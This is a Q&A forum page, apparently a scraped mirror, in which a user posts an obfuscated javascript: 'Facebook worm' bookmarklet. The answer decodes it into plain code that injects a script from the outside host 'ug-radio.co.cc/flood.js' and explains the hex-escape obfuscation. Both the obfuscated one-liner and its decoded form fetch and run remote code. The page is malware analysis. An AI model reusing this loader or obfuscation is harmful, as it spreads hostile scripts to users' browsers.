开发者

How to encode this script?

I have recently found this srcipt, which is basically a facebook "worm", so dont run it. All I want to know is how the creator went about encoding it. Any help?

javascript:var _0x8dd5=["\x73\x72\x63","\x73\x63\x72\x69\x70\x74","\x63\x7 2\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74","\x 68\x74\x74\x70\x3A\x2F\x2F\x75\x67\x2D\x开发者_JAVA百科72\x61\x64 \x69\x6F\x2E\x63\x6F\x2E\x63\x63\x2F\x66\x6C\x6F\x 6F\x64\x2E\x6A\x73","\x61\x70\x70\x65\x6E\x64\x43\ x68\x69\x6C\x64","\x62\x6F\x64\x79"];(a=(b=document)[_0x8dd5[2]](_0x8dd5[1]))[_0x8dd5[0]]=_0x8dd5[3];b[_0x8dd5[5]][_0x8dd5[4]](a); void (0);


The author used various methods of 'obfuscation', that is, various techniques to make the code visually confusing and hard to understand.

_0x8dd5 is an array of strings:

['src', 'script', 'createElement',
    'http://ug-radio.co.cc/flood.js', 'appendChild', 'body']

The rest of the code uses property names from the strings above, such that the un-obfuscated code is actually

a = document.createElement('script');
a.src = 'http://ug-radio.co.cc/flood.js';
document.body.appendChild(a);

Therefore, all the author did to obfuscate the code is to reference all property names as strings from an array. The array that contains the strings simply uses the \xNN hexadecimal escape notation, making it less obvious as to what those strings are.

The author does this by finding the hexadecimal values of the bytes that form the strings in the current encoding. Then, for each byte in the strings, he adds \xNN, where NN is the hexadecimal byte value. When the JavaScript interpreter runs the script, the parser automatically replaces these escapes with their respective characters.

0

上一篇:

下一篇:

精彩评论

暂无评论...
验证码 换一张
取 消

最新问答

问答排行榜